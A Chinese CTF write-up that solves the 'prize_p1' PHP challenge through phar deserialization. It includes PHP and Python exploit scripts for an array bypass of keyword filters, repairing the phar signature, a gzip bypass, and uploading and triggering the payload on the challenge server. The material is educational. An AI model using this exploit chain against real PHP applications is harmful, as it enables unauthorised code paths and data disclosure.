prize_p1
文章目录
- 解题过程
- 代码审计
- 思路
- 问题解决
- 数组绕过preg_match
- __destruct的触发
- 修改phar文件以及签名
- phar://支持的后缀
- 题解
- 方法一(数组绕过)
- 方法二(gzip绕过)
解题过程
源代码
<META http-equiv="Content-Type" content="text/html; charset=utf-8" />
<?php
highlight_file(__FILE__);
class getflag {function __destruct() {echo getenv("FLAG");}
}class A {public $config;function __destruct() {if ($this->config == 'w') {$data = $_POST[0];if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $data)) {die("我知道你想干吗,我的建议是不要那样做。");}file_put_contents("./tmp/a.txt", $data);} else if ($this->config == 'r') {$data = $_POST[0];if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $data)) {die("我知道你想干吗,我的建议是不要那样做。");}echo file_get_contents($data);}}
}
if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $_GET[0])) {die("我知道你想干吗,我的建议是不要那样做。");
}
unserialize($_GET[0]);
throw new Error("那么就从这里开始起航吧");
代码审计
首先有getflag类,内容就是输出$FLAG,触发条件为__destruct;然后就是A类的文件写入和读取。最后就是对GET[0]的关键字判断,通过后反序列化GET[0]。
思路
这里因为关键字对flag有过滤,所以无法直接触发getflag类;转眼去看A类,既然有任意内容写入+任意文件读取+类,优先考虑phar反序列化
那我们的操作就是先利用A类的写文件功能写入一个phar文件,其中phar文件的metadata部分设置为getflag类,这样phar://读取之后,其中的metadata部分的数据就被反序列化,getflag就生成了,再最后程序结束触发__destruct获取flag
问题解决
数组绕过preg_match
如果我们要绕过preg_match,我们可以采用数组绕过的方法
我们本地测试下,源码如下
<?php
$data = array(0=>"by_pass:iwantflag",1=>123456);
if (preg_match('/flag/i', $data)) {die("我知道你想干吗,我的建议是不要那样做。");
}
else{echo "success bypass";file_put_contents("./win.txt", $data);
}
小皮跑一下,发现成功写入
但是这里也同时出现了报错信息,我们看到题目源代码最下面
throw new Error("那么就从这里开始起航吧");
这样的话会抛出错误,运行中止,那么我们就无法触发__destruct方法
__destruct的触发
然后就来到第二个点,如何绕过抛出异常去触发呢
在PHP中,正常触发析构函数(__destruct)有三种方法:
①程序正常结束
②主动调用unset($aa
)
③将原先指向类的变量取消对类的引用,即$aa = 其他值;
这题我们采用第三种方法
PHP中的垃圾回收Garbagecollection机制,利用引用计数和回收周期自动管理内存对象。当一个对象没有被引用时,PHP就会将其视为“垃圾”,这个”垃圾“会被回收,回收过程中就会触发析构函数
所以我们可以利用取消原本对getflag的引用,从而触发他的析构函数。
操作如下,在phar的metadata中写入的内容为a:2:{i:0;O:7:"getflag":0:{}i:0;N;}
这样的话,当phar://反序列化其中的数据时(反序列化时是按顺序执行的),先反出a[0]的数据,也就是a[0]=getflag类,再接着反序列化时,又将a[0]设为了NULL,那就和上述所说的一致了,getflag类被取消了引用,所以会触发他的析构函数,从而获得flag
但是我们生成的phar文件生成的字符串是a:2:{i:0;O:7:"getflag":0:{}i:1;N;}
,不是我们想要的字符串,那么需要解决的第三个问题
修改phar文件以及签名
步骤如下
我们先在010打开此phar文件,然后复制内容
再新建一个十六进制文本,粘贴进去,并且将1改为0
phar文件是修改成功了,但这个时候这个phar是处于损坏状态的,因为我们修改了前面的数据导致后面的签名对不上。这个时候,我们还需要手动计算出这个新phar文件的签名,查看PHP手册找到phar的签名格式
我们刚刚的phar的签名标志位为0x0003,为SHA256签名,所以我们要计算的是出的字节是[-40:-8],用脚本计算我们新的phar文件的签名,并重新写入文件(也可以导出为新文件)
除了数组绕过的思路外,还有如下方法
phar://支持的后缀
除了.phar可以用phar://读取,gzip bzip2 tar zip 这四个后缀同样也支持phar://读取
所以在此题中,可以对hacker1.phar文件做以上这些处理,使其成为乱码,从而绕过关键字的检测
题解
方法一(数组绕过)
生成phar文件脚本
<?php
class getflag{
}
$a = new getflag();
$a = array(0=>$a,1=>null);
$phar = new Phar("hacker.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>
然后010打开把1改为0
然后修改签名,脚本如下
from hashlib import sha256
with open("hacker1.phar",'rb') as f:text=f.read()main=text[:-40] #正文部分(除去最后40字节)end=text[-8:] #最后八位也是不变的 new_sign=sha256(main).digest()new_phar=main+new_sign+endopen("hacker1.phar",'wb').write(new_phar) #将新生成的内容以二进制方式覆盖写入原来的phar文件
然后上传脚本
import requests
import reurl="http://node4.anna.nssctf.cn:28853/"### 写入phar文件
with open("hacker1.phar",'rb') as f:data1={'0[]':f.read()} #传数组绕过,值就是hacker1.phar文件的内容param1 = {0: 'O:1:"A":1:{s:6:"config";s:1:"w";}'}res1 = requests.post(url=url, params=param1,data=data1)### 读phar文件,获取flag
param2={0:'O:1:"A":1:{s:6:"config";s:1:"r";}'}
data2={0:"phar://tmp/a.txt"}
res2=requests.post(url=url,params=param2,data=data2)
flag=re.compile('NSSCTF\{.*?\}').findall(res2.text)
print(flag)
然后就得到flag
方法二(gzip绕过)
直接用脚本进行gzip压缩并完成后续一系列操作
脚本如下
import requests
import re
import gzipurl="http://node4.anna.nssctf.cn:28853/"### 先将phar文件变成gzip文件
with open("hacker1.phar",'rb') as f1:phar_zip=gzip.open("gzip.zip",'wb') #创建了一个gzip文件的对象phar_zip.writelines(f1) #将phar文件的二进制流写入phar_zip.close()###写入gzip文件
with open("gzip.zip",'rb') as f2:data1={0:f2.read()} #利用gzip后全是乱码绕过 param1 = {0: 'O:1:"A":1:{s:6:"config";s:1:"w";}'}p1 = requests.post(url=url, params=param1,data=data1)### 读gzip.zip文件,获取flag
param2={0:'O:1:"A":1:{s:6:"config";s:1:"r";}'}
data2={0:"phar://tmp/a.txt"}
p2=requests.post(url=url,params=param2,data=data2)
flag=re.compile('NSSCTF\{.*?\}').findall(p2.text)
print(flag)
也同样可以得到flag
相关文章:

prize_p1
文章目录 解题过程代码审计思路问题解决数组绕过preg_match__destruct的触发修改phar文件以及签名phar://支持的后缀 题解方法一(数组绕过)方法二(gzip绕过) 解题过程 源代码 <META http-equiv"Content-Type" conte…...
Acwing 3534. 矩阵幂 3535. C翻转
3534. 矩阵幂 - AcWing题库 思路:模拟,当然,k次幂可以用快速幂优化,这里懒了 #include <iostream> #include <vector> using namespace std;vector<vector<int>> mul(int n, vector<vector<int>…...

Spring Cloud:构建微服务的最佳实践
🌷🍁 博主猫头虎(🐅🐾)带您 Go to New World✨🍁 🦄 博客首页——🐅🐾猫头虎的博客🎐 🐳 《面试题大全专栏》 🦕 文章图文…...

时间序列场景下多种数据填充算法实践与对比分析
在时间序列建模任务中,模型往往对于缺失数据是比较敏感的,大量的缺失数据甚至会导致训练出来的模型完全不可用,在我前面的博文中也有写到过数据填充相关的内容,感兴趣的话可以自行移步阅读即可: 《python 基于滑动平均…...

Mysql开启binlog
本案例基于mysql5.7.16实验 1、在linux中进入mysql查询binlog是否打开,执行命令如下: mysql -u root -p 2、查询binlog是否开启命令如下,如果log_bin为OFF则证明mysql的binlog没有打开 show variables like %log_bin%; 3、退出mysql终端&…...

【Java Web】HTML 标签 总结
目录 1.HTML 2.标签 1. head 标签 1.图标 2.样式居中 2. body 标签 1.注释 : 2.加载图片 3.加载视频 效果 4.区域 效果 5.上下跳转,页面跳转 效果 6.表格 效果 7.有序列表,无序列表 效果 8.登录 效果 9.按钮 10.多选框…...
前端面试的话术集锦第 4 篇:进阶篇下
这是记录前端面试的话术集锦第四篇博文——进阶篇下,我会不断更新该博文。❗❗❗ 1. 浏览器Eventloop和Node中的有什么区别 众所周知JS是⻔⾮阻塞单线程语⾔,因为在最初JS就是为了和浏览器交互⽽诞⽣的。 如果JS是⻔多线程的语⾔话,我们在多个线程中处理DOM就可能会发⽣问…...

mmap详解
想写一篇文章,详细的介绍一下mmap,主要是原理、用法、mmap泄露来进行介绍。说到mmap,首先得从堆空间说起。 申请堆空间 其实,不管是 32 位系统还是 64 位系统,内核都会维护一个变量 brk,指向堆的顶部&…...

项目02—基于keepalived+mysqlrouter+gtid半同步复制的MySQL集群
文章目录 一.项目介绍1.拓扑图2.详细介绍 二.前期准备1.项目环境2.IP划分 三. 项目步骤1.ansible部署软件环境1.1 安装ansible环境1.2 建立免密通道1.3 ansible批量部署软件1.4 统一5台mysql服务器的数据 2.配置基于GTID的半同步主从复制2.1 在master上安装配置半同步的插件,再…...

【EI征稿】第二届机械电子工程与人工智能国际学术会议(MEAI 2023)
第二届机械电子工程与人工智能国际学术会议(MEAI 2023) The 2nd International Conference on Mechatronic Engineering and Artificial Intelligence 2023年第二届机械电子工程与人工智能国际学术会议(MEAI 2023)计划将于2023年…...
ros2 学习launch文件组织工程 yaml配置文件
简单范例 功能描述 使用launch文件,统一管理工程,实现img转点云,发送到img_pt的topic,然后用reg_pcl节点进行subscribe,进行点云配准处理,输出融合后的点云到map_pt的topic。最后由rviz2进行点云展示。 …...

奇舞周刊第 505 期:实践指南-前端性能提升 270%!
记得点击文章末尾的“ 阅读原文 ”查看哟~ 下面先一起看下本期周刊 摘要 吧~ 奇舞推荐 ■ ■ ■ 实践指南-前端性能提升 270% 当我们疲于开发一个接一个的需求时,很容易忘记去关注网站的性能,到了某一个节点,猛地发现,随着越来越多…...

【C++】泛型编程 | 函数模板 | 类模板
一、泛型编程 泛型编程是啥? 编写一种一般化的、可通用的算法出来,是代码复用的一种手段。 类似写一个模板出来,不同的情况,我们都可以往这个模板上去套。 举个例子: void Swap(int& a, int& b) {int tmp …...

web前端——简单的网页布局案列
✨博主:命运之光 🌸专栏:Python星辰秘典 🐳专栏:web开发(简单好用又好看) ❤️专栏:Java经典程序设计 ☀️博主的其他文章:点击进入博主的主页 目录 问题背景 解决样例 …...

线程安全问题(3)--- wait(),notify()
前言 在多线程的环境下,我们常常要协调多个线程之间的执行顺序,而为了实现这一点,Java提供了一些方法来帮助我们完成这一点。 一,wait() 作用: 使当前线程进入等待状态 释放当前的锁 (即该方法必须和 synchrnized 关键…...
【Android知识笔记】进程通信(一)
一、Android Framework 用到了哪些 IPC 方式 Linux 的 IPC 方式有: 管道Socket共享内存信号信号量消息队列管道通信 管道是基于pipefs文件系统实现的,也就是多个进程通过对同一个文件进行读写来实现进程间通信。半双工,单向的,通过 pipe(fds) 系统函数调用可得到一对文件描…...

存储空间压缩6倍 ,多点DMALL零售SaaS场景降本实践
🧑💼 作者简介 冯光普:多点 DMALL 数据库团队负责人,负责数据库稳定性建设与 DB PaaS 平台建设,在多活数据库架构、数据同步方案等方面拥有丰富经验。 杨家鑫:多点高级 DBA,擅长故障分析与性能…...

BGP路由属性
任何一条BGP路由都拥有多个路径属性(Path Attributes),当路由器通告BGP路由给它的对等体时,该路由将会携带多个路径属性,这些属性描述了BGP路由的各项特征,同时在某些场景下也会影响BGP路由优选的决策。 一…...

Java面试常用函数
1. charAt() 方法用于返回字符串指定索引处的字符。索引范围为从 0 到 length() - 1。 map.getOrDefault(num, 0) :如果map存在num这个key,则返回num对应的value,否则返回0. Arrays.sort(nums); 数组排序 Arrays.asList("a","b",&q…...

linux编译curl库(支持https)
openssl下载和编译 https://www.openssl.org/source/old/ 解压 tar -xvf openssl-3.0.1.tar.gz cd openssl-3.0.1/配置 ./config如果是编译静态库加入 -fPIC no-shared 如果指定安装路径,使用 --prefix=/usr/local/openssl/选项指定特定目录 编译和安装 make sodu make i…...

【Axure高保真原型】引导弹窗
今天和大家中分享引导弹窗的原型模板,载入页面后,会显示引导弹窗,适用于引导用户使用页面,点击完成后,会显示下一个引导弹窗,直至最后一个引导弹窗完成后进入首页。具体效果可以点击下方视频观看或打开下方…...
论文解读:交大港大上海AI Lab开源论文 | 宇树机器人多姿态起立控制强化学习框架(二)
HoST框架核心实现方法详解 - 论文深度解读(第二部分) 《Learning Humanoid Standing-up Control across Diverse Postures》 系列文章: 论文深度解读 + 算法与代码分析(二) 作者机构: 上海AI Lab, 上海交通大学, 香港大学, 浙江大学, 香港中文大学 论文主题: 人形机器人…...
【SpringBoot】100、SpringBoot中使用自定义注解+AOP实现参数自动解密
在实际项目中,用户注册、登录、修改密码等操作,都涉及到参数传输安全问题。所以我们需要在前端对账户、密码等敏感信息加密传输,在后端接收到数据后能自动解密。 1、引入依赖 <dependency><groupId>org.springframework.boot</groupId><artifactId...

学校招生小程序源码介绍
基于ThinkPHPFastAdminUniApp开发的学校招生小程序源码,专为学校招生场景量身打造,功能实用且操作便捷。 从技术架构来看,ThinkPHP提供稳定可靠的后台服务,FastAdmin加速开发流程,UniApp则保障小程序在多端有良好的兼…...

[10-3]软件I2C读写MPU6050 江协科技学习笔记(16个知识点)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16...

【配置 YOLOX 用于按目录分类的图片数据集】
现在的图标点选越来越多,如何一步解决,采用 YOLOX 目标检测模式则可以轻松解决 要在 YOLOX 中使用按目录分类的图片数据集(每个目录代表一个类别,目录下是该类别的所有图片),你需要进行以下配置步骤&#x…...

tree 树组件大数据卡顿问题优化
问题背景 项目中有用到树组件用来做文件目录,但是由于这个树组件的节点越来越多,导致页面在滚动这个树组件的时候浏览器就很容易卡死。这种问题基本上都是因为dom节点太多,导致的浏览器卡顿,这里很明显就需要用到虚拟列表的技术&…...
Java多线程实现之Thread类深度解析
Java多线程实现之Thread类深度解析 一、多线程基础概念1.1 什么是线程1.2 多线程的优势1.3 Java多线程模型 二、Thread类的基本结构与构造函数2.1 Thread类的继承关系2.2 构造函数 三、创建和启动线程3.1 继承Thread类创建线程3.2 实现Runnable接口创建线程 四、Thread类的核心…...
基于Java Swing的电子通讯录设计与实现:附系统托盘功能代码详解
JAVASQL电子通讯录带系统托盘 一、系统概述 本电子通讯录系统采用Java Swing开发桌面应用,结合SQLite数据库实现联系人管理功能,并集成系统托盘功能提升用户体验。系统支持联系人的增删改查、分组管理、搜索过滤等功能,同时可以最小化到系统…...
LangChain知识库管理后端接口:数据库操作详解—— 构建本地知识库系统的基础《二》
这段 Python 代码是一个完整的 知识库数据库操作模块,用于对本地知识库系统中的知识库进行增删改查(CRUD)操作。它基于 SQLAlchemy ORM 框架 和一个自定义的装饰器 with_session 实现数据库会话管理。 📘 一、整体功能概述 该模块…...